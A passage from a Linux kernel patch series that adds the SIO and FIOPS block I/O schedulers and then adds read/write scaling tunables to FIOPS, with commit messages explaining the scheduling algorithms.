noop-iosched.o obj-$(CONFIG_IOSCHED_DEADLINE) += deadline-iosched.o obj-$(CONFIG_IOSCHED_ROW) += row-iosched.o +obj-$(CONFIG_IOSCHED_SIO) += sio-iosched.o obj-$(CONFIG_IOSCHED_CFQ) += cfq-iosched.o obj-$(CONFIG_IOSCHED_BFQ) += bfq-iosched.o obj-$(CONFIG_IOSCHED_TEST) += test-iosched.o diff --git a/block/sio-iosched.c b/block/sio-iosched.c new file mode 100644 index 0000000000000..036f2e226ebb8 --- /dev/null +++ b/block/sio-iosched.c @@ -0,0 +1,393 @@ +/* + * Simple IO scheduler + * Based on Noop, Deadline and V(R) IO schedulers. + * + * Copyright (C) 2012 Miguel Boton + * + * + * This algorithm does not do any kind of sorting, as it is aimed for + * aleatory access devices, but it does some basic merging. We try to + * keep minimum overhead to achieve low latency. + * + * Asynchronous and synchronous requests are not treated separately, but + * we relay on deadlines to ensure fairness. + * + */ +#include +#include +#include +#include +#include +#include + +enum { ASYNC, SYNC }; + +/* Tunables */ +static const int sync_read_expire = HZ / 2; /* max time before a sync read is submitted. */ +static const int sync_write_expire = 2 * HZ; /* max time before a sync write is submitted. */ + +static const int async_read_expire = 4 * HZ; /* ditto for async, these limits are SOFT! */ +static const int async_write_expire = 16 * HZ; /* ditto for async, these limits are SOFT! */ + +static const int writes_starved = 2; /* max times reads can starve a write */ +static const int fifo_batch = 8; /* # of sequential requests treated as one + by the above parameters. For throughput. */ + +/* Elevator data */ +struct sio_data { + /* Request queues */ + struct list_head fifo_list[2][2]; + + /* Attributes */ + unsigned int batched; + unsigned int starved; + + /* Settings */ + int fifo_expire[2][2]; + int fifo_batch; + int writes_starved; +}; + +static void +sio_merged_requests(struct request_queue *q, struct request *rq, + struct request *next) +{ + /* + * If next expires before rq, assign its expire time to rq + * and move into next position (next will be deleted) in fifo. + */ + if (!list_empty(&rq->queuelist) && !list_empty(&next->queuelist)) { + if (time_before(rq_fifo_time(next), rq_fifo_time(rq))) { + list_move(&rq->queuelist, &next->queuelist); + rq_set_fifo_time(rq, rq_fifo_time(next)); + } + } + + /* Delete next request */ + rq_fifo_clear(next); +} + +static void +sio_add_request(struct request_queue *q, struct request *rq) +{ + struct sio_data *sd = q->elevator->elevator_data; + const int sync = rq_is_sync(rq); + const int data_dir = rq_data_dir(rq); + + /* + * Add request to the proper fifo list and set its + * expire time. + */ + rq_set_fifo_time(rq, jiffies + sd->fifo_expire[sync][data_dir]); + list_add_tail(&rq->queuelist, &sd->fifo_list[sync][data_dir]); +} + +static struct request * +sio_expired_request(struct sio_data *sd, int sync, int data_dir) +{ + struct list_head *list = &sd->fifo_list[sync][data_dir]; + struct request *rq; + + if (list_empty(list)) + return NULL; + + /* Retrieve request */ + rq = rq_entry_fifo(list->next); + + /* Request has expired */ + if (time_after(jiffies, rq_fifo_time(rq))) + return rq; + + return NULL; +} + +static struct request * +sio_choose_expired_request(struct sio_data *sd) +{ + struct request *rq; + + /* + * Check expired requests. + * Asynchronous requests have priority over synchronous. + * Write requests have priority over read. + */ + rq = sio_expired_request(sd, ASYNC, WRITE); + if (rq) + return rq; + rq = sio_expired_request(sd, ASYNC, READ); + if (rq) + return rq; + + rq = sio_expired_request(sd, SYNC, WRITE); + if (rq) + return rq; + rq = sio_expired_request(sd, SYNC, READ); + if (rq) + return rq; + + return NULL; +} + +static struct request * +sio_choose_request(struct sio_data *sd, int data_dir) +{ + struct list_head *sync = sd->fifo_list[SYNC]; + struct list_head *async = sd->fifo_list[ASYNC]; + + /* + * Retrieve request from available fifo list. + * Synchronous requests have priority over asynchronous. + * Read requests have priority over write. + */ + if (!list_empty(&sync[data_dir])) + return rq_entry_fifo(sync[data_dir].next); + if (!list_empty(&async[data_dir])) + return rq_entry_fifo(async[data_dir].next); + + if (!list_empty(&sync[!data_dir])) + return rq_entry_fifo(sync[!data_dir].next); + if (!list_empty(&async[!data_dir])) + return rq_entry_fifo(async[!data_dir].next); + + return NULL; +} + +static inline void +sio_dispatch_request(struct sio_data *sd, struct request *rq) +{ + /* + * Remove the request from the fifo list + * and dispatch it. + */ + rq_fifo_clear(rq); + elv_dispatch_add_tail(rq->q, rq); + + sd->batched++; + + if (rq_data_dir(rq)) + sd->starved = 0; + else + sd->starved++; +} + +static int +sio_dispatch_requests(struct request_queue *q, int force) +{ + struct sio_data *sd = q->elevator->elevator_data; + struct request *rq = NULL; + int data_dir = READ; + + /* + * Retrieve any expired request after a batch of + * sequential requests. + */ + if (sd->batched > sd->fifo_batch) { + sd->batched = 0; + rq = sio_choose_expired_request(sd); + } + + /* Retrieve request */ + if (!rq) { + if (sd->starved > sd->writes_starved) + data_dir = WRITE; + + rq = sio_choose_request(sd, data_dir); + if (!rq) + return 0; + } + + /* Dispatch request */ + sio_dispatch_request(sd, rq); + + return 1; +} + +static struct request * +sio_former_request(struct request_queue *q, struct request *rq) +{ + struct sio_data *sd = q->elevator->elevator_data; + const int sync = rq_is_sync(rq); + const int data_dir = rq_data_dir(rq); + + if (rq->queuelist.prev == &sd->fifo_list[sync][data_dir]) + return NULL; + + /* Return former request */ + return list_entry(rq->queuelist.prev, struct request, queuelist); +} + +static struct request * +sio_latter_request(struct request_queue *q, struct request *rq) +{ + struct sio_data *sd = q->elevator->elevator_data; + const int sync = rq_is_sync(rq); + const int data_dir = rq_data_dir(rq); + + if (rq->queuelist.next == &sd->fifo_list[sync][data_dir]) + return NULL; + + /* Return latter request */ + return list_entry(rq->queuelist.next, struct request, queuelist); +} + +static int +sio_init_queue(struct request_queue *q, struct elevator_type *e) +{ + struct sio_data *sd; + struct elevator_queue *eq; + + eq = elevator_alloc(q, e); + if (!eq) + return -ENOMEM; + + /* Allocate structure */ + sd = kmalloc_node(sizeof(*sd), GFP_KERNEL, q->node); + if (!sd) { + kobject_put(&eq->kobj); + return -ENOMEM; + } + eq->elevator_data = sd; + + /* Initialize fifo lists */ + INIT_LIST_HEAD(&sd->fifo_list[SYNC][READ]); + INIT_LIST_HEAD(&sd->fifo_list[SYNC][WRITE]); + INIT_LIST_HEAD(&sd->fifo_list[ASYNC][READ]); + INIT_LIST_HEAD(&sd->fifo_list[ASYNC][WRITE]); + + /* Initialize data */ + sd->batched = 0; + sd->fifo_expire[SYNC][READ] = sync_read_expire; + sd->fifo_expire[SYNC][WRITE] = sync_write_expire; + sd->fifo_expire[ASYNC][READ] = async_read_expire; + sd->fifo_expire[ASYNC][WRITE] = async_write_expire; + sd->fifo_batch = fifo_batch; + + spin_lock_irq(q->queue_lock); + q->elevator = eq; + spin_unlock_irq(q->queue_lock); + return 0; +} + +static void +sio_exit_queue(struct elevator_queue *e) +{ + struct sio_data *sd = e->elevator_data; + + BUG_ON(!list_empty(&sd->fifo_list[SYNC][READ])); + BUG_ON(!list_empty(&sd->fifo_list[SYNC][WRITE])); + BUG_ON(!list_empty(&sd->fifo_list[ASYNC][READ])); + BUG_ON(!list_empty(&sd->fifo_list[ASYNC][WRITE])); + + /* Free structure */ + kfree(sd); +} + +/* + * sysfs code + */ + +static ssize_t +sio_var_show(int var, char *page) +{ + return sprintf(page, "%d\n", var); +} + +static ssize_t +sio_var_store(int *var, const char *page, size_t count) +{ + char *p = (char *) page; + + *var = simple_strtol(p, &p, 10); + return count; +} + +#define SHOW_FUNCTION(__FUNC, __VAR, __CONV) \ +static ssize_t __FUNC(struct elevator_queue *e, char *page) \ +{ \ + struct sio_data *sd = e->elevator_data; \ + int __data = __VAR; \ + if (__CONV) \ + __data = jiffies_to_msecs(__data); \ + return sio_var_show(__data, (page)); \ +} +SHOW_FUNCTION(sio_sync_read_expire_show, sd->fifo_expire[SYNC][READ], 1); +SHOW_FUNCTION(sio_sync_write_expire_show, sd->fifo_expire[SYNC][WRITE], 1); +SHOW_FUNCTION(sio_async_read_expire_show, sd->fifo_expire[ASYNC][READ], 1); +SHOW_FUNCTION(sio_async_write_expire_show, sd->fifo_expire[ASYNC][WRITE], 1); +SHOW_FUNCTION(sio_fifo_batch_show, sd->fifo_batch, 0); +SHOW_FUNCTION(sio_writes_starved_show, sd->writes_starved, 0); +#undef SHOW_FUNCTION + +#define STORE_FUNCTION(__FUNC, __PTR, MIN, MAX, __CONV) \ +static ssize_t __FUNC(struct elevator_queue *e, const char *page, size_t count) \ +{ \ + struct sio_data *sd = e->elevator_data; \ + int __data; \ + int ret = sio_var_store(&__data, (page), count); \ + if (__data < (MIN)) \ + __data = (MIN); \ + else if (__data > (MAX)) \ + __data = (MAX); \ + if (__CONV) \ + *(__PTR) = msecs_to_jiffies(__data); \ + else \ + *(__PTR) = __data; \ + return ret; \ +} +STORE_FUNCTION(sio_sync_read_expire_store, &sd->fifo_expire[SYNC][READ], 0, INT_MAX, 1); +STORE_FUNCTION(sio_sync_write_expire_store, &sd->fifo_expire[SYNC][WRITE], 0, INT_MAX, 1); +STORE_FUNCTION(sio_async_read_expire_store, &sd->fifo_expire[ASYNC][READ], 0, INT_MAX, 1); +STORE_FUNCTION(sio_async_write_expire_store, &sd->fifo_expire[ASYNC][WRITE], 0, INT_MAX, 1); +STORE_FUNCTION(sio_fifo_batch_store, &sd->fifo_batch, 0, INT_MAX, 0); +STORE_FUNCTION(sio_writes_starved_store, &sd->writes_starved, 0, INT_MAX, 0); +#undef STORE_FUNCTION + +#define DD_ATTR(name) \ + __ATTR(name, S_IRUGO|S_IWUSR, sio_##name##_show, \ + sio_##name##_store) + +static struct elv_fs_entry sio_attrs[] = { + DD_ATTR(sync_read_expire), + DD_ATTR(sync_write_expire), + DD_ATTR(async_read_expire), + DD_ATTR(async_write_expire), + DD_ATTR(fifo_batch), + DD_ATTR(writes_starved), + __ATTR_NULL +}; + +static struct elevator_type iosched_sio = { + .ops = { + .elevator_merge_req_fn = sio_merged_requests, + .elevator_dispatch_fn = sio_dispatch_requests, + .elevator_add_req_fn = sio_add_request, + .elevator_former_req_fn = sio_former_request, + .elevator_latter_req_fn = sio_latter_request, + .elevator_init_fn = sio_init_queue, + .elevator_exit_fn = sio_exit_queue, + }, + + .elevator_attrs = sio_attrs, + .elevator_name = "sio", + .elevator_owner = THIS_MODULE, +}; + +static int __init sio_init(void) +{ + /* Register elevator */ + return elv_register(&iosched_sio);; +} + +static void __exit sio_exit(void) +{ + /* Unregister elevator */ + elv_unregister(&iosched_sio); +} + +module_init(sio_init); +module_exit(sio_exit); + +MODULE_AUTHOR("Miguel Boton"); +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("Simple IO scheduler"); +MODULE_VERSION("0.3"); From 6e06036194201dc057996b95246f7490b946c98f Mon Sep 17 00:00:00 2001 From: Shaohua Li Date: Sun, 20 Oct 2013 22:42:38 -0500 Subject: [PATCH 181/365] block: fiops ioscheduler core FIOPS (Fair IOPS) ioscheduler is IOPS based ioscheduler, so only targets for drive without I/O seek. It's quite similar like CFQ, but the dispatch decision is made according to IOPS instead of slice. The algorithm is simple. Drive has a service tree, and each task lives in the tree. The key into the tree is called vios (virtual I/O). Every request has vios, which is calculated according to its ioprio, request size and so on. Task's vios is the sum of vios of all requests it dispatches. FIOPS always selects task with minimum vios in the service tree and let the task dispatch request. The dispatched request's vios is then added to the task's vios and the task is repositioned in the sevice tree. Unlike CFQ, FIOPS doesn't have separate sync/async queues, because with I/O less writeback, usually a task can only dispatch either sync or async requests. Bias read or write request can still be done with read/write scale. One issue is if workload iodepth is lower than drive queue_depth, IOPS share of a task might not be strictly according to its priority, request Bias read or write request can still be done with read/write scale. One issue is if workload iodepth is lower than drive queue_depth, IOPS share of a task might not be strictly according to its priority, request size and so on. In this case, the drive is in idle actually. Solving the problem need make drive idle, so impact performance. I believe CFQ isn't completely fair between tasks in such case too. Signed-off-by: Shaohua Li Signed-off-by: Paul Reioux Conflicts: block/Makefile Conflicts: block/Makefile --- block/Kconfig.iosched | 11 + block/Makefile | 1 + block/fiops-iosched.c | 556 ++++++++++++++++++++++++++++++++++++++++++ 3 files changed, 568 insertions(+) create mode 100644 block/fiops-iosched.c diff --git a/block/Kconfig.iosched b/block/Kconfig.iosched index e0a9b7d34261c..dde0e87e80a20 100644 --- a/block/Kconfig.iosched +++ b/block/Kconfig.iosched @@ -93,6 +93,14 @@ config CGROUP_BFQIO filesystem interface. The name of the subsystem will be bfqio. +config IOSCHED_FIOPS + tristate "IOPS based I/O scheduler" + default y + ---help--- + This is an IOPS based I/O scheduler. It will try to distribute + IOPS equally among all processes in the system. It's mainly for + Flash based storage. + choice prompt "Default I/O scheduler" default DEFAULT_CFQ @@ -129,6 +137,8 @@ choice any workload. It also tries to guarantee low latency to interactive and soft real-time applications. + config DEFAULT_FIOPS + bool "FIOPS" if IOSCHED_FIOPS=y config DEFAULT_NOOP bool "No-op" @@ -141,6 +151,7 @@ config DEFAULT_IOSCHED default "row" if DEFAULT_ROW default "sio" if DEFAULT_SIO default "cfq" if DEFAULT_CFQ + default "fiops" if DEFAULT_FIOPS default "bfq" if DEFAULT_BFQ default "noop" if DEFAULT_NOOP diff --git a/block/Makefile b/block/Makefile index 36ff266f9f237..cc298fb1bea7a 100644 --- a/block/Makefile +++ b/block/Makefile @@ -18,6 +18,7 @@ obj-$(CONFIG_IOSCHED_ROW) += row-iosched.o obj-$(CONFIG_IOSCHED_SIO) += sio-iosched.o obj-$(CONFIG_IOSCHED_CFQ) += cfq-iosched.o obj-$(CONFIG_IOSCHED_BFQ) += bfq-iosched.o +obj-$(CONFIG_IOSCHED_FIOPS) += fiops-iosched.o obj-$(CONFIG_IOSCHED_TEST) += test-iosched.o obj-$(CONFIG_BLOCK_COMPAT) += compat_ioctl.o diff --git a/block/fiops-iosched.c b/block/fiops-iosched.c new file mode 100644 index 0000000000000..9db7f93680dbe --- /dev/null +++ b/block/fiops-iosched.c @@ -0,0 +1,556 @@ +/* + * IOPS based IO scheduler. Based on CFQ. + * Copyright (C) 2003 Jens Axboe + * Shaohua Li + */ +#include +#include +#include +#include +#include +#include +#include +#include "blk.h" + +#define VIOS_SCALE_SHIFT 10 +#define VIOS_SCALE (1 << VIOS_SCALE_SHIFT) + +struct fiops_rb_root { + struct rb_root rb; + struct rb_node *left; + unsigned count; + + u64 min_vios; +}; +#define FIOPS_RB_ROOT (struct fiops_rb_root) { .rb = RB_ROOT} + +struct fiops_data { + struct request_queue *queue; + + struct fiops_rb_root service_tree; + + unsigned int busy_queues; + unsigned int in_flight[2]; + + struct work_struct unplug_work; +}; + +struct fiops_ioc { + struct io_cq icq; + + unsigned int flags; + struct fiops_data *fiopsd; + struct rb_node rb_node; + u64 vios; /* key in service_tree */ + struct fiops_rb_root *service_tree; + + unsigned int in_flight; + + struct rb_root sort_list; + struct list_head fifo; + + pid_t pid; +}; + +#define ioc_service_tree(ioc) (&((ioc)->fiopsd->service_tree)) +#define RQ_CIC(rq) icq_to_cic((rq)->elv.icq) + +enum ioc_state_flags { + FIOPS_IOC_FLAG_on_rr = 0, /* on round-robin busy list */ +}; + +#define FIOPS_IOC_FNS(name) \ +static inline void fiops_mark_ioc_##name(struct fiops_ioc *ioc) \ +{ \ + ioc->flags |= (1 << FIOPS_IOC_FLAG_##name); \ +} \ +static inline void fiops_clear_ioc_##name(struct fiops_ioc *ioc) \ +{ \ + ioc->flags &= ~(1 << FIOPS_IOC_FLAG_##name); \ +} \ +static inline int fiops_ioc_##name(const struct fiops_ioc *ioc) \ +{ \ + return ((ioc)->flags & (1 << FIOPS_IOC_FLAG_##name)) != 0; \ +} + +FIOPS_IOC_FNS(on_rr); +#undef FIOPS_IOC_FNS + +static inline struct fiops_ioc *icq_to_cic(struct io_cq *icq) +{ + /* cic->icq is the first member, %NULL will convert to %NULL */ + return container_of(icq, struct fiops_ioc, icq); +} + +static inline struct fiops_ioc *fiops_cic_lookup(struct fiops_data *fiopsd, + struct io_context *ioc) +{ + if (ioc) + return icq_to_cic(ioc_lookup_icq(ioc, fiopsd->queue)); + return NULL; +} + +/* + * The below is leftmost cache rbtree addon + */ +static struct fiops_ioc *fiops_rb_first(struct fiops_rb_root *root) +{ + /* Service tree is empty */ + if (!root->count) + return NULL; + + if (!root->left) + root->left = rb_first(&root->rb); + + if (root->left) + return rb_entry(root->left, struct fiops_ioc, rb_node); + + return NULL; +} + +static void rb_erase_init(struct rb_node *n, struct rb_root *root) +{ + rb_erase(n, root); + RB_CLEAR_NODE(n); +} + +static void fiops_rb_erase(struct rb_node *n, struct fiops_rb_root *root) +{ + if (root->left == n) + root->left = NULL; + rb_erase_init(n, &root->rb); + --root->count; +} + +static inline u64 max_vios(u64 min_vios, u64 vios) +{ + s64 delta = (s64)(vios - min_vios); + if (delta > 0) + min_vios = vios; + + return min_vios; +} + +static void fiops_update_min_vios(struct fiops_rb_root *service_tree) +{ + struct fiops_ioc *ioc; + + ioc = fiops_rb_first(service_tree); + if (!ioc) + return; + service_tree->min_vios = max_vios(service_tree->min_vios, ioc->vios); +} + +/* + * The fiopsd->service_trees holds all pending fiops_ioc's that have + * requests waiting to be processed. It is sorted in the order that + * we will service the queues. + */ +static void fiops_service_tree_add(struct fiops_data *fiopsd, + struct fiops_ioc *ioc) +{ + struct rb_node **p, *parent; + struct fiops_ioc *__ioc; + struct fiops_rb_root *service_tree = ioc_service_tree(ioc); + u64 vios; + int left; + + /* New added IOC */ + if (RB_EMPTY_NODE(&ioc->rb_node)) + vios = max_vios(service_tree->min_vios, ioc->vios); + else { + vios = ioc->vios; + /* ioc->service_tree might not equal to service_tree */ + fiops_rb_erase(&ioc->rb_node, ioc->service_tree); + ioc->service_tree = NULL; + } + + left = 1; + parent = NULL; + ioc->service_tree = service_tree; + p = &service_tree->rb.rb_node; + while (*p) { + struct rb_node **n; + + parent = *p; + __ioc = rb_entry(parent, struct fiops_ioc, rb_node); + + /* + * sort by key, that represents service time. + */ + if (vios < __ioc->vios) + n = &(*p)->rb_left; + else { + n = &(*p)->rb_right; + left = 0; + } + + p = n; + } + + if (left) + service_tree->left = &ioc->rb_node; + + ioc->vios = vios; + rb_link_node(&ioc->rb_node, parent, p); + rb_insert_color(&ioc->rb_node, &service_tree->rb); + service_tree->count++; + + fiops_update_min_vios(service_tree); +} + +/* + * Update ioc's position in the service tree. + */ +static void fiops_resort_rr_list(struct fiops_data *fiopsd, + struct fiops_ioc *ioc) +{ + /* + * Resorting requires the ioc to be on the RR list already. + */ + if (fiops_ioc_on_rr(ioc)) + fiops_service_tree_add(fiopsd, ioc); +} + +/* + * add to busy list of queues for service, trying to be fair in ordering + * the pending list according to last request service + */ +static void fiops_add_ioc_rr(struct fiops_data *fiopsd, struct fiops_ioc *ioc) +{ + BUG_ON(fiops_ioc_on_rr(ioc)); + fiops_mark_ioc_on_rr(ioc); + + fiopsd->busy_queues++; + + fiops_resort_rr_list(fiopsd, ioc); +} + +/* + * Called when the ioc no longer has requests pending, remove it from + * the service tree. + */ +static void fiops_del_ioc_rr(struct fiops_data *fiopsd, struct fiops_ioc *ioc) +{ + BUG_ON(!fiops_ioc_on_rr(ioc)); + fiops_clear_ioc_on_rr(ioc); + + if (!RB_EMPTY_NODE(&ioc->rb_node)) { + fiops_rb_erase(&ioc->rb_node, ioc->service_tree); + ioc->service_tree = NULL; + } + + BUG_ON(!fiopsd->busy_queues); + fiopsd->busy_queues--; +} + +/* + * rb tree support functions + */ +static void fiops_del_rq_rb(struct request *rq) +{ + struct fiops_ioc *ioc = RQ_CIC(rq); + + elv_rb_del(&ioc->sort_list, rq); +} + +static void fiops_add_rq_rb(struct request *rq) +{ + struct fiops_ioc *ioc = RQ_CIC(rq); + struct fiops_data *fiopsd = ioc->fiopsd; + + elv_rb_add(&ioc->sort_list, rq); + + if (!fiops_ioc_on_rr(ioc)) + fiops_add_ioc_rr(fiopsd, ioc); +} + +static void fiops_reposition_rq_rb(struct fiops_ioc *ioc, struct request *rq) +{ + elv_rb_del(&ioc->sort_list, rq); + fiops_add_rq_rb(rq); +} + +static void fiops_remove_request(struct request *rq) +{ + list_del_init(&rq->queuelist); + fiops_del_rq_rb(rq); +} + +static u64 fiops_scaled_vios(struct fiops_data *fiopsd, + struct fiops_ioc *ioc, struct request *rq) +{ + return VIOS_SCALE; +} + +/* return vios dispatched */ +static u64 fiops_dispatch_request(struct fiops_data *fiopsd, + struct fiops_ioc *ioc) +{ + struct request *rq; + struct request_queue *q = fiopsd->queue; + + rq = rq_entry_fifo(ioc->fifo.next); + + fiops_remove_request(rq); + elv_dispatch_add_tail(q, rq); + + fiopsd->in_flight[rq_is_sync(rq)]++; + ioc->in_flight++; + + return fiops_scaled_vios(fiopsd, ioc, rq); +} + +static int fiops_forced_dispatch(struct fiops_data *fiopsd) +{ + struct fiops_ioc *ioc; + int dispatched = 0; + + while ((ioc = fiops_rb_first(&fiopsd->service_tree)) != NULL) { + while (!list_empty(&ioc->fifo)) { + fiops_dispatch_request(fiopsd, ioc); + dispatched++; + } + if (fiops_ioc_on_rr(ioc)) + fiops_del_ioc_rr(fiopsd, ioc); + } + return dispatched; +} + +static struct fiops_ioc *fiops_select_ioc(struct fiops_data *fiopsd) +{ + struct fiops_ioc *ioc; + + if (RB_EMPTY_ROOT(&fiopsd->service_tree.rb)) + return NULL; + ioc = fiops_rb_first(&fiopsd->service_tree); + return ioc; +} + +static void fiops_charge_vios(struct fiops_data *fiopsd, + struct fiops_ioc *ioc, u64 vios) +{ + struct fiops_rb_root *service_tree = ioc->service_tree; + ioc->vios += vios; + + if (RB_EMPTY_ROOT(&ioc->sort_list)) + fiops_del_ioc_rr(fiopsd, ioc); + else + fiops_resort_rr_list(fiopsd, ioc); + + fiops_update_min_vios(service_tree); +} + +static int fiops_dispatch_requests(struct request_queue *q, int force) +{ + struct fiops_data *fiopsd = q->elevator->elevator_data; + struct fiops_ioc *ioc; + u64 vios; + + if (unlikely(force)) + return fiops_forced_dispatch(fiopsd); + + ioc = fiops_select_ioc(fiopsd); + if (!ioc) + return 0; + + vios = fiops_dispatch_request(fiopsd, ioc); + + fiops_charge_vios(fiopsd, ioc, vios); + return 1; +} + +static void fiops_insert_request(struct request_queue *q, struct request *rq) +{ + struct fiops_ioc *ioc = RQ_CIC(rq); + + list_add_tail(&rq->queuelist, &ioc->fifo); + + fiops_add_rq_rb(rq); +} + +/* + * scheduler run of queue, if there are requests pending and no one in the + * driver that will restart queueing + */ +static inline void fiops_schedule_dispatch(struct fiops_data *fiopsd) +{ + if (fiopsd->busy_queues) + kblockd_schedule_work(fiopsd->queue, &fiopsd->unplug_work); +} + +static void fiops_completed_request(struct request_queue *q, struct request *rq) +{ + struct fiops_data *fiopsd = q->elevator->elevator_data; + struct fiops_ioc *ioc = RQ_CIC(rq); + + fiopsd->in_flight[rq_is_sync(rq)]--; + ioc->in_flight--; + + if (fiopsd->in_flight[0] + fiopsd->in_flight[1] == 0) + fiops_schedule_dispatch(fiopsd); +} + +static struct request * +fiops_find_rq_fmerge(struct fiops_data *fiopsd, struct bio *bio) +{ + struct task_struct *tsk = current; + struct fiops_ioc *cic; + + cic = fiops_cic_lookup(fiopsd, tsk->io_context); + + if (cic) { + sector_t sector = bio->bi_sector + bio_sectors(bio); + + return elv_rb_find(&cic->sort_list, sector); + } + + return NULL; +} + +static int fiops_merge(struct request_queue *q, struct request **req, + struct bio *bio) +{ + struct fiops_data *fiopsd = q->elevator->elevator_data; + struct request *__rq; + + __rq = fiops_find_rq_fmerge(fiopsd, bio); + if (__rq && elv_rq_merge_ok(__rq, bio)) { + *req = __rq; + return ELEVATOR_FRONT_MERGE; + } + + return ELEVATOR_NO_MERGE; +} + +static void fiops_merged_request(struct request_queue *q, struct request *req, + int type) +{ + if (type == ELEVATOR_FRONT_MERGE) { + struct fiops_ioc *ioc = RQ_CIC(req); + + fiops_reposition_rq_rb(ioc, req); + } +} + +static void +fiops_merged_requests(struct request_queue *q, struct request *rq, + struct request *next) +{ + struct fiops_ioc *ioc = RQ_CIC(rq); + struct fiops_data *fiopsd = q->elevator->elevator_data; + + fiops_remove_request(next); + + ioc = RQ_CIC(next); + /* + * all requests of this task are merged to other tasks, delete it + * from the service tree. + */ + if (fiops_ioc_on_rr(ioc) && RB_EMPTY_ROOT(&ioc->sort_list)) + fiops_del_ioc_rr(fiopsd, ioc); +} + +static int fiops_allow_merge(struct request_queue *q, struct request *rq, + struct bio *bio) +{ + struct fiops_data *fiopsd = q->elevator->elevator_data; + struct fiops_ioc *cic; + + /* + * Lookup the ioc that this bio will be queued with. Allow + * merge only if rq is queued there. + */ + cic = fiops_cic_lookup(fiopsd, current->io_context); + + return cic == RQ_CIC(rq); +} + +static void fiops_exit_queue(struct elevator_queue *e) +{ + struct fiops_data *fiopsd = e->elevator_data; + + cancel_work_sync(&fiopsd->unplug_work); + + kfree(fiopsd); +} + +static void fiops_kick_queue(struct work_struct *work) +{ + struct fiops_data *fiopsd = + container_of(work, struct fiops_data, unplug_work); + struct request_queue *q = fiopsd->queue; + + spin_lock_irq(q->queue_lock); + __blk_run_queue(q); + spin_unlock_irq(q->queue_lock); +} + +static void *fiops_init_queue(struct request_queue *q) +{ + struct fiops_data *fiopsd; + + fiopsd = kzalloc_node(sizeof(*fiopsd), GFP_KERNEL, q->node); + if (!fiopsd) + return NULL; + + fiopsd->queue = q; + + fiopsd->service_tree = FIOPS_RB_ROOT; + + INIT_WORK(&fiopsd->unplug_work, fiops_kick_queue); + + return fiopsd; +} + +static void fiops_init_icq(struct io_cq *icq) +{ + struct fiops_data *fiopsd = icq->q->elevator->elevator_data; + struct fiops_ioc *ioc = icq_to_cic(icq); + + RB_CLEAR_NODE(&ioc->rb_node); + INIT_LIST_HEAD(&ioc->fifo); + ioc->sort_list = RB_ROOT; + + ioc->fiopsd = fiopsd; + + ioc->pid = current->pid; +} + +static struct elevator_type iosched_fiops = { + .ops = { + .elevator_merge_fn = fiops_merge, + .elevator_merged_fn = fiops_merged_request, + .elevator_merge_req_fn = fiops_merged_requests, + .elevator_allow_merge_fn = fiops_allow_merge, + .elevator_dispatch_fn = fiops_dispatch_requests, + .elevator_add_req_fn = fiops_insert_request, + .elevator_completed_req_fn = fiops_completed_request, + .elevator_former_req_fn = elv_rb_former_request, + .elevator_latter_req_fn = elv_rb_latter_request, + .elevator_init_icq_fn = fiops_init_icq, + .elevator_init_fn = fiops_init_queue, + .elevator_exit_fn = fiops_exit_queue, + }, + .icq_size = sizeof(struct fiops_ioc), + .icq_align = __alignof__(struct fiops_ioc), + .elevator_name = "fiops", + .elevator_owner = THIS_MODULE, +}; + +static int __init fiops_init(void) +{ + return elv_register(&iosched_fiops); +} + +static void __exit fiops_exit(void) +{ + elv_unregister(&iosched_fiops); +} + +module_init(fiops_init); +module_exit(fiops_exit); + +MODULE_AUTHOR("Jens Axboe, Shaohua Li "); +MODULE_LICENSE("GPL"); +MODULE_DESCRIPTION("IOPS based IO scheduler"); From 9024508ea9312c8f3b671d6a8c345d4464969972 Mon Sep 17 00:00:00 2001 From: Shaohua Li Date: Sat, 15 Dec 2012 22:34:26 -0800 Subject: [PATCH 182/365] block: fiops read/write request scale read/write speed of Flash based storage usually is different. For example, in my SSD maxium thoughput of read is about 3 times faster than that of write. Add a scale to differenate read and write. Also add a tunable, so user can assign different scale for read and write. By default, the scale is 1:1, which means the scale is a noop. Signed-off-by: Shaohua Li --- block/fiops-iosched.c | 71 ++++++++++++++++++++++++++++++++++++++++++- 1 file changed, 70 insertions(+), 1 deletion(-) diff --git a/block/fiops-iosched.c b/block/fiops-iosched.c index 9db7f93680dbe..bff327c11b23a 100644 --- a/block/fiops-iosched.c +++ b/block/fiops-iosched.c @@ -15,6 +15,9 @@ #define VIOS_SCALE_SHIFT 10 #define VIOS_SCALE (1 << VIOS_SCALE_SHIFT) +#define VIOS_READ_SCALE (1) +#define VIOS_WRITE_SCALE (1) + struct fiops_rb_root { struct rb_root rb; struct rb_node *left; @@ -33,6 +36,9 @@ struct fiops_data { unsigned int in_flight[2]; struct work_struct unplug_work; + + unsigned int read_scale; + unsigned int write_scale; }; struct fiops_ioc { @@ -280,7 +286,12 @@ static void fiops_remove_request(struct request *rq) static u64 fiops_scaled_vios(struct fiops_data *fiopsd, struct fiops_ioc *ioc, struct request *rq) { - return VIOS_SCALE; + int vios = VIOS_SCALE; + + if (rq_data_dir(rq) == WRITE) + vios = vios * fiopsd->write_scale / fiopsd->read_scale; + + return vios; } /* return vios dispatched */ @@ -500,6 +511,9 @@ static void *fiops_init_queue(struct request_queue *q) INIT_WORK(&fiopsd->unplug_work, fiops_kick_queue); + fiopsd->read_scale = VIOS_READ_SCALE; + fiopsd->write_scale = VIOS_WRITE_SCALE; + return fiopsd; } @@ -517,6 +531,60 @@ static void fiops_init_icq(struct io_cq *icq) ioc->pid = current->pid; } +/* + * sysfs parts below --> + */ +static ssize_t +fiops_var_show(unsigned int var, char *page) +{ + return sprintf(page, "%d\n", var); +} + +static ssize_t +fiops_var_store(unsigned int *var, const char *page, size_t count) +{ + char *p = (char *) page; + + *var = simple_strtoul(p, &p, 10); + return count; +} + +#define SHOW_FUNCTION(__FUNC, __VAR) \ +static ssize_t __FUNC(struct elevator_queue *e, char *page) \ +{ \ + struct fiops_data *fiopsd = e->elevator_data; \ + return fiops_var_show(__VAR, (page)); \ +} +SHOW_FUNCTION(fiops_read_scale_show, fiopsd->read_scale); +SHOW_FUNCTION(fiops_write_scale_show, fiopsd->write_scale); +#undef SHOW_FUNCTION + +#define STORE_FUNCTION(__FUNC, __PTR, MIN, MAX) \ +static ssize_t __FUNC(struct elevator_queue *e, const char *page, size_t count) \ +{ \ + struct fiops_data *fiopsd = e->elevator_data; \ + unsigned int __data; \ + int ret = fiops_var_store(&__data, (page), count); \ + if (__data < (MIN)) \ + __data = (MIN); \ + else if (__data > (MAX)) \ + __data = (MAX); \ + *(__PTR) = __data; \ + return ret; \ +} 